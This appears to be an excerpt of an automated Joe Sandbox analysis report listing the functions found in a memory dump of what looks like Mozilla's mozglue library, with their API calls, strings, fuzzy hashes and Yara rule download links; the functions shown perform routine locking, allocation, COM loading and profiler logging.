Instruction ID: 40e24d2299668908c9ad9781d47e5ab1231a25cd0dc0f9df77825805024323f8
Opcode Fuzzy Hash: 1d62eb0138c295c29f35ef9a7b886493b4a41a722277b0f439d18e8761789a9b
Instruction Fuzzy Hash: 4141F4B1A002059FCB08CFA9DC809AE7765FF89324B240728E916DB794EB71E915C7E5

Function 6C61B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C61B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C61B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C61B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C61B5F4
__Init_thread_footer.LIBCMT ref: 6C61B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C61B61F
std::_Facet_Register.LIBCPMT ref: 6C61B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61B655

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction ID: 1f71f04cfe6d1d077e6d6df7f400f5cb3e6d9534b9819a13942ab196e849e7cb
Opcode Fuzzy Hash: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction Fuzzy Hash: 11318471B00214CBCB10DF6AC8949EEB7F5EBCA325F150929D90697740DB38A806CF9A

Function 6C5E6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5E67C8

Part of subcall function 6C5F4290: memcpy.VCRUNTIME140(?,?,6C602003,6C600AD9,?,6C600AD9,00000000,?,6C600AD9,?,00000004,?,6C601A62,?,6C602003,?), ref: 6C5F42C4

Strings

data, xrefs: 6C5E6593
vbl, xrefs: 6C5E696C

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vbl
API String ID: 511789754-1095404901
Opcode ID: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction ID: 76854d40968107d371606e8cdc04344036de73bd22231d81875b052ce1f557d6
Opcode Fuzzy Hash: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction Fuzzy Hash: 40D1CE75A08340CFD724DF29C851B9FB7E6AFC9348F10492DE59997B91EB30A809CB52

Function 6C5DD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5AEB57,?,?,?,?,?,?,?,?,?), ref: 6C5DD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD673
free.MOZGLUE(?), ref: 6C5DD888

Strings

WZl, xrefs: 6C5DD5D9, 6C5DD63F
|Enabled, xrefs: 6C5DD81E

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WZl$|Enabled
API String ID: 4142949111-2253591229
Opcode ID: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction ID: 94e8c673f1f9dabd18c86c782d384f36b3bf29acdf5d5246b29ac01ef2c475ae
Opcode Fuzzy Hash: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction Fuzzy Hash: 06A1F0B0A00308DFDB11CF69C8D0BAEBBF1AF49318F15845CD889AB741D735A885CBA5

Function 6C5B9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C607ABE), ref: 6C5B985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C607ABE), ref: 6C5B98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C5B9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C5B9918
free.MOZGLUE(?), ref: 6C5B9975

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 622a4ea26003a80f42b014b8886c3a7e4cc40e449d61d54aad99a273921a4c03
Instruction ID: 469420df23db0b9212d9f96705172712adc20f024d0b52309ba8852e08e07149
Opcode Fuzzy Hash: 622a4ea26003a80f42b014b8886c3a7e4cc40e449d61d54aad99a273921a4c03
Instruction Fuzzy Hash: 3571AC74604705CFC764CF28C890956BBF1FF9A324B644AADE85AABB90D731F801CB91

Function 6C5BB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE), ref: 6C5BB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB896

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: cc6d24819878ee20c90571fa62423529633b9c5435fc50a6c527d456511455c8
Instruction ID: 26ea383a1718e6e667ebf041aaf31586e61323391111957d0eb3aa9395f32642
Opcode Fuzzy Hash: cc6d24819878ee20c90571fa62423529633b9c5435fc50a6c527d456511455c8
Instruction Fuzzy Hash: 83519A357006008FCB24DF59C9E4A6ABBF5FF89318B69895DE98AA7351C771EC01CB84

Function 6C5F1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5F1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5F1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F1DDA

Part of subcall function 6C5F1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5F1F03
Part of subcall function 6C5F1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5F1DF2,00000000,00000000), ref: 6C5F1F0C
Part of subcall function 6C5F1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5F1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5F1DF4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction ID: 9a471be08b50e03592e8f6c06e79911b50f8685a6c83a424bdf97b2465dc7a99
Opcode Fuzzy Hash: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction Fuzzy Hash: 704159B52007009FCB14DF29C888A56BBF9FB89354F10442DE99A87B41CB75F855CBA5

Function 6C5E84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85AC

Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E767F
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E7693
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85B2

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction ID: b652a571e6f515641b9c497483492db018b07d393e4d3211ba346c22e8bc3285
Opcode Fuzzy Hash: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction Fuzzy Hash: 61218375200601AFEB14DB29CC88A5AB7B5AF8830CF14482DE55BC3B42DB35F948CB96

Function 6C5B1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B1699
VerSetConditionMask.NTDLL ref: 6C5B16CB
VerSetConditionMask.NTDLL ref: 6C5B16D7
VerSetConditionMask.NTDLL ref: 6C5B16DE
VerSetConditionMask.NTDLL ref: 6C5B16E5
VerSetConditionMask.NTDLL ref: 6C5B16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B16F9

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction ID: d7b8fea4e3683e935f6ab4b0026390d715965b0081423ffdbe60eb39ebaa007a
Opcode Fuzzy Hash: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction Fuzzy Hash: 9321E4B07442086BEB116E69CC85FFBB77CEFC6704F004528F645AB5C0C6799D548BA5

Function 6C5EF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction ID: d740527415803baead367260ccc54a38db26fffedb8bb9903df7e10db01e0423
Opcode Fuzzy Hash: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction Fuzzy Hash: 7611C471201204EBCB04AF1ADC849D57779FFCA768F500416EA0687F42CB79AC11CFA9

Function 6C5B2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,6C5B1C5F), ref: 6C5B20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5B20CD
__Init_thread_footer.LIBCMT ref: 6C5B20E1
FreeLibrary.KERNEL32 ref: 6C5B2124

Strings

combase.dll, xrefs: 6C5B20A9
CoInitializeSecurity, xrefs: 6C5B20C7

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 81d5ff8c5f555e580e36bcecfa518a0618cbc3de2ca210ca6dd8382fae19bf42
Instruction ID: 5b92a4b743317ea15f68d3e43842e71e00a187b22aa883503822c81697868b54
Opcode Fuzzy Hash: 81d5ff8c5f555e580e36bcecfa518a0618cbc3de2ca210ca6dd8382fae19bf42
Instruction Fuzzy Hash: E5217976200219EFDF11DF5ADC88EDA3F76FB4A365F104014FA05A2610D7399862CFAA

Function 6C6076C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C607705

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C607717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C60778F,00000000,00000000,00000000,00000000), ref: 6C607731
free.MOZGLUE(00000000), ref: 6C607760

Strings

}>^l, xrefs: 6C6076C4

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>^l
API String ID: 2538299546-4141363822
Opcode ID: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction ID: 3893732f0238d377a58bf1b99782178f79b1b980dc362e957950ebf602c93efd
Opcode Fuzzy Hash: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction Fuzzy Hash: FF11C8B1A05215ABD710AFB69D44BAB7EF8EF86354F144429F848E7300E7719C4087F6

Function 6C5B1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C5B1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C5B1FFD
__Init_thread_footer.LIBCMT ref: 6C5B2011
FreeLibrary.KERNEL32 ref: 6C5B2059

Strings

CoCreateInstance, xrefs: 6C5B1FF7
combase.dll, xrefs: 6C5B1FD9

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: a18edd1393dcf326f9966836c3931d27974555fc73e623fee84e296eb54c4658
Instruction ID: 2d0b8be81770f0a479099af5416ad86b74d219a1b8ec5eb329186d73010cba62
Opcode Fuzzy Hash: a18edd1393dcf326f9966836c3931d27974555fc73e623fee84e296eb54c4658
Instruction Fuzzy Hash: 43115E75201219EFEF20CF26CD9CE963F79EB96355F104029F905A2640D7399861CF7A

Function 6C5B0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C5DD9F0,00000000), ref: 6C5B0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5B0F3C
__Init_thread_footer.LIBCMT ref: 6C5B0F50
FreeLibrary.KERNEL32(?,6C5DD9F0,00000000), ref: 6C5B0F86

Strings

combase.dll, xrefs: 6C5B0F18
CoInitializeEx, xrefs: 6C5B0F36

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction ID: fdb6274280e0f1f393e42948ae0343e7f380d4eda2ee25400c2213caffb89feb
Opcode Fuzzy Hash: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction Fuzzy Hash: 1D117774705250DBDF00CF6ACE98E563B74FBD6356F00452AE905B2A40D73DA405CE5E

Function 6C5EF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF559
